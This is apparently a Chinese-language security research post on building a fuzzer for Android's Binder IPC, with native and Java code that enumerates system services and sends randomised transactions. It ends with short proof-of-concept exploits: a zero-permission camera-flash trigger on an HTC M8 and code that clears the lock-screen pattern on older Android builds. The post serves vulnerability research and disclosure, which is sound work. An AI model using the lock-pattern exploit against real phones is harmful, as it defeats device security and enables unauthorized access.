1. binder 简介 Android安全模型的一个关键部分是每一个应用程序都被赋予一个唯一的 Linux 用户 ID 和组 ID,运行在自己的进程和 Dalvik 虚拟机里。 在应用程序安装的过程中,Android系统设备上创建一个专门的目录(文件夹),用于存储此应用程序的数据,并且仅允许应用程序利用 Linux 用户 ID 和组 ID 的相应访问权限对这些数据进行访问。此外,此应用程序的 Dalvik 虚拟机使用应用程序的用户 ID 运行在自己的进程中。 这些关键的机制在操作系统层面上强制数据安全,因为应用程序之间不共享内存、访问权限及磁盘存储。应用程序只能在它们自己的 Dalvik 虚拟机范围内访问内存和数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ ps ... u0_a16 2757 882 2574956 116944 SyS_epoll+ 0 S com.google.android.gms.persistent u0_a128 2774 883 1939084 87720 SyS_epoll+ 0 S com.ss.android.article.news:push u0_a16 2850 882 2322980 46592 SyS_epoll+ 0 S com.google.process.gapps u0_a128 2887 883 2190568 181868 SyS_epoll+ 0 S com.ss.android.article.news u0_a37 2900 882 2430908 58316 SyS_epoll+ 0 S com.google.android.googlequicksearchbox:interactor nfc 2918 882 2351828 62356 SyS_epoll+ 0 S com.android.nfc u0_a45 2930 882 2309884 43576 SyS_epoll+ 0 S se.dirac.acs radio 2945 882 2313144 45592 SyS_epoll+ 0 S net.oneplus.push u0_a0 2956 882 2304600 36360 SyS_epoll+ 0 S com.oneplus system 2967 882 2307276 38088 SyS_epoll+ 0 S com.fingerprints.serviceext system 2985 882 2309992 42044 SyS_epoll+ 0 S com.oneplus.opbugreportlite u0_a142 2997 882 2370296 93324 SyS_epoll+ 0 S com.oneplus.aod u0_a16 3018 882 2731976 165828 SyS_epoll+ 0 S com.google.android.gms ...
Android app 是由 Activity、Service、Broadcast 和 Content Provider 四大组件构成,而这些组件可能运行在同一进程中,也可能运行在不同的 进程中,而像 PowerManagerService等重要服务都运行在核心进程 system_server
里,所以 Android 系统必须实现一个靠谱的进程间通信机制 (IPC)。 Android系统基于 Linux 开发,Linux 中有很多进程间通信的方法,如 Signal、Pipe、Socket、Share Memeory、Semaphore, 但是 Android 系统并没有使用 这些进程间通信的方法,而是基于 OpenBinder 自己开发了一套进程通信的方法,Binder 是 Android 系统 IPC 通信的机制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $ adb shell ps | grep system_serversystem 63 32 120160 35408 ffffffff afd0c738 S system_server $ adb logcat | grep "63)" .. . D/PowerManagerService( 63): bootCompleted I/TelephonyRegistry( 63): notifyServiceState: 0 home Android Android 310260 UMTS CSS not supp.. . I/TelephonyRegistry( 63): notifyDataConnection: state =0 isDataConnectivityPossible =false reason =null interfaceName =null networkType =3 I/SearchManagerService( 63): Building list of searchable activities I/WifiService( 63): WifiService trying to setNumAllowed to 11 with persist set to true I/ActivityManager( 63): Config changed: { scale =1.0 imsi =310/260 loc =en_US touch =3 keys =2/1/2 nav =3/1 .. . I/TelephonyRegistry( 63): notifyMessageWaitingChanged: false I/TelephonyRegistry( 63): notifyCallForwardingChanged: false I/TelephonyRegistry( 63): notifyDataConnection: state =1 isDataConnectivityPossible =true reason =simL... I/TelephonyRegistry( 63): notifyDataConnection: state =2 isDataConnectivityPossible =true reason =simL... D/Tethering( 63): MasterInitialState.processMessage what =3 I/ActivityManager( 63): Start proc android.process.media for broadcast com.android.providers.downloads/.DownloadReceiver: pid =223 uid =10002 gids={1015, 2001, 3003} I/RecoverySystem( 63): No recovery log file W/WindowManager( 63): App freeze timeout expired.
2. Binder 架构 Binder 使用 CS (Client/Server) 模型,提供服务的进程是 Server 进程,访问服务的是 Client 进程。从代码实现的角度看,Binder架构采用的是分层架构设计, 大致上可以分为 Java 层, Java IPC 层,Native IPC 层, Linux 内核层。
从组件的视角来看,Binder 包含了 Client、Server、ServiceManger 和 binder 驱动, ServiceManager 用于管理系统中的各种服务,见下图。
图中虚线的箭头为跨进程的进程间通信,必须使用 Android IPC binder 机制。
3. 为什么要 fuzz binder 把 Binder 作为一个目标的原因比较明显的,因为在 Android 的安全模型中,Binder 是一个重要的安全边界。在一个低权限 的 app 里面构造的数据,会在高权限的进程里面使用,如果发生问题,就是一个明显的权限提升漏洞。另外数据在处理的过程中, 有 flatten 和 unflatten 两个步骤,这些步骤就像我们平时说的编码和解码一样非常容易出问题。
存在一些非常经典的漏洞, 例如 CVE-2014-7911 该漏洞允许恶意应用从普通应用权限提权到system用户执行命令。
4. 实现 在每个层面都可以实现相关代码进行 Fuzz, 下面分析在每个层面的具体实现。
4.1 直接调用 ioctl 实现 Binder fuzzer 的方法有好几种,最直接的想法当然就是直接调用 ioctl 系统调用。
其中 fd 可以通过打开 /dev/binder 设备文件获得,难点在 binder_write_read
数据结构的构造。
1 int fd = open("/dev/binder" , O_RDWR);
4.2 Native 层 在 Native 层,利用 IBinder 可以将问题简化, 看上面的结构图,通过阅读 Android 源码, 可以看出我们可以利用 IBinder 的 transcat 来调用相应的Binder 接口函数,参考:
https://android.googlesource.com/platform/frameworks/native/+/master/cmds/service/service.cpp
调用 IBinder 的 transact 需要自己填充 parcel 数据, 可以从下面的示意理解大致的含义:
code 为 Binder 调用接口的功能号, parcel 中需要指定调用那个接口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 String16 get_interface_name (sp<IBinder> service) { if (service != NULL ) { Parcel data, reply; status_t err = service->transact (IBinder::INTERFACE_TRANSACTION, data, &reply); if (err == NO_ERROR) { return reply.readString16 (); } } return String16 (); }int main (int argc, char ** argv) . { sp<IServiceManager> sm = defaultServiceManager (); Vector<String16> services = sm->listServices (); for (uint32_t i = 0 ; i < services.size (); i++) { String16 name = services[i]; sp<IBinder> service = sm->checkService (name); String16 ifName = get_interface_name (service); if (service != NULL && ifName.size () > 0 ) { for (uint32_t code = 0 ; code <= 100 ; code++) { aout << "ifName: " << ifName << ", code: " << code << endl; Parcel data, reply; data.writeInterfaceToken (ifName); for (uint32_t i = 0 ; i < random () % 800 ; i++ ) { uint32_t a = random (); aout << "data[" << i << "]: " << a << endl; data.writeInt32 (a); } service->transact (code, data, &reply, 1 ); } } } return 0 ; }
4.3 Java 应用层 到了 Java 应用层,我们可以获得的信息就丰富了,可以获得详细的信息。
1) 获取所有运行的services 1 2 3 4 5 6 7 8 9 10 11 12 13 14 public String[] getServices() { String[] services = null ; try { services = (String[]) Class.forName("android.os.ServiceManager" ) .getDeclaredMethod("listServices" ).invoke(null ); } catch (ClassCastException e) { } catch (ClassNotFoundException e) { } catch (NoSuchMethodException e) { } catch (InvocationTargetException e) { } catch (IllegalAccessException e) { } return services; }
2) 获得对应服务的IBinder 对象 1 2 3 4 5 6 7 8 9 10 11 12 13 14 public IBinder getIBinder (String service) { IBinder serviceBinder = null ; try { serviceBinder = (IBinder) Class.forName("android.os.ServiceManager" ) .getDeclaredMethod("getService" , String.class).invoke(null , service); } catch (ClassCastException e) { } catch (ClassNotFoundException e) { } catch (NoSuchMethodException e) { } catch (InvocationTargetException e) { } catch (IllegalAccessException e) { } return serviceBinder; }
3) 利用反射获取对应接口的所有code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public HashMap<String,Integer> getBinderCode (String interfaceDescriptor) { HashMap<String, Integer> codes = new HashMap <>(); if (interfaceDescriptor == null ) return codes; try { Class<?> cStub = Class .forName(interfaceDescriptor + "$Stub" ); Field[] f = cStub.getDeclaredFields(); for (Field field : f) { field.setAccessible(true ); String k= field.toString().split("\\$Stub\\." )[1 ]; if (k.contains("TRANSACTION" )) codes.put(k, (int )field.get(this )); } } catch (Exception e) { } return codes; }
4) 利用反射获取对应接口所有调用的参数类型 binder call 的参数类型
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public HashMap<String, List<String>> getBinderCallParameter (String interfaceDescriptor, HashMap<String, Integer> codes) { HashMap<String, List<String>> ret = new HashMap (); if (interfaceDescriptor == null ) return ret; try { Class<?> cStub = Class .forName(interfaceDescriptor + "$Stub$Proxy" ); Method[] m = cStub.getDeclaredMethods(); for (Method method : m) { int func_code = 0 ; List<String> func_parameter = new ArrayList <>(); method.setAccessible(true ); String func_name = method.toString().split("\\$Stub\\$Proxy\\." )[1 ]; func_parameter.add(func_name); for (String key : codes.keySet()) { if (func_name.contains(key.substring("TRANSACTION_" .length()))) func_code = codes.get(key); } if (func_code == 0 ) continue ; Class<?>[] ParameterTypes = method.getParameterTypes(); for (int k=0 ; k < ParameterTypes.length; k++) { func_parameter.add(ParameterTypes[k].toString()); } ret.put(Integer.toString(func_code), func_parameter); } } catch (Exception e) { } return ret; }
5)Binder 调用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public static IBinder getIBinder (String service) { IBinder serviceBinder = null ; try { serviceBinder = (IBinder) Class.forName("android.os.ServiceManager" ) .getDeclaredMethod("getService" , String.class).invoke(null , service); } catch (ClassCastException e) { } catch (ClassNotFoundException e) { } catch (NoSuchMethodException e) { } catch (InvocationTargetException e) { } catch (IllegalAccessException e) { } return serviceBinder; }public void fuzz (int code, String Service) { Parcel data = Parcel.obtain(); Parcel reply = Parcel.obtain(); IBinder serviceBinder = BinderInfo.getIBinder(service); serviceBinder.transact(code, data, reply, 0 ); }
上面的几个步骤已经全部java 代码实现,可行。
5. 实现方法的分析于比较 ioctl 的方法过于底层,需要实现的代码很多,而 java 应用层的代码由于权限原因,经常会遇到没有权限的情况。 所以使用 Native 层的方法是合适的,在Root 的Android 机器上运行代码,可以解决权限问题。而 Java 应用层的 代码利用反射可以获取到每个接口的详细信息,根据获取到的信息指导 Native 层 fuzz 程序的后续变异,应该是比较理想的方法。
6. Fuzz 数据的生成 可以考虑移植 radasma 到 Android 平台
1 2 3 4 5 6 7 8 9 10 11 $ git clone https://github.com/anestisb/radamsa-android.git $ cd radamsa-android$ export PATH=$PATH :NDK_PATH$ ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./jni/Android.mk \ APP_PLATFORM=android-24 APP_ABI=armeabi-v7a \ NDK_TOOLCHAIN=arm-linux-androideabi-4.9 [armeabi-v7a] Compile thumb : radamsa <= radamsa.c [armeabi-v7a] Executable : radamsa [armeabi-v7a] Install : radamsa => libs/armeabi-v7a/radamsa
6.1 更新 radamsa-android github 上移植的radamsa 已经比较古老 (0.4), 可以直接将最新版(0.6a)的radamsa 移植 到 Android上。方法比较简单,在原始的 radamsa 中有一个 radamsa.c 将这个文件替换 radamsa-android/jni 目录下的 radamsa.c
然后在文件中添加下面代码, 重新编译即可:
1 2 3 4 5 6 #ifdef ANDROID #include <arpa/inet.h> #ifndef WIFCONTINUED #define WIFCONTINUED(stat) 0 #endif #endif
7. Fuzz 出来的一些漏洞 1) htc m8 零权限打开闪光灯 1 2 3 4 5 6 7 8 9 10 IBinder serviceBinder = getIBinder("media.camera" );Parcel data1 = Parcel.obtain();Parcel reply1 = Parcel.obtain();try { data1.writeInterfaceToken(serviceBinder.getInterfaceDescriptor()); data1.writeByteArray(new byte [1024 ]); serviceBinder.transact(8 , data1, reply1, 0 ); } catch (Exception e) {}
2) Android 6.0.1 MOB3OM 手势密码清除漏洞 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public void attack () { IBinder serviceBinder = getIBinder("lock_settings" ); Parcel data1 = Parcel.obtain(); Parcel reply1 = Parcel.obtain(); try { data1.writeInterfaceToken(serviceBinder.getInterfaceDescriptor()); data1.writeByteArray(new byte [255 ]); serviceBinder.transact(7 , data1, reply1, 0 ); } catch (RemoteException e) {} }public IBinder getIBinder (String service) { IBinder serviceBinder = null ; try { serviceBinder = (IBinder) Class.forName("android.os.ServiceManager" ) .getDeclaredMethod("getService" , String.class).invoke(null , service); } catch (ClassCastException e) { } catch (ClassNotFoundException e) { } catch (NoSuchMethodException e) { } catch (InvocationTargetException e) { } catch (IllegalAccessException e) { } return serviceBinder; }
在Android 6.0.1 MOB3OM 之前的一些版本中, 未在setLockPattern 中做权限检查, 导致apk 不需要任何权限就可以将手势密码清除.
这个问题已经修复 author Jim Miller jaggies@google.com Wed Apr 13 16:35:36 2016 -0700
https://android.googlesource.com/platform/frameworks/base/+/b5383455b6cae093e60684b4f5cccb0cc440330d%5E%21/#F0
但是考虑到Android 的碎片化问题, 估计在一些手机中将存在这个问题.
参考资料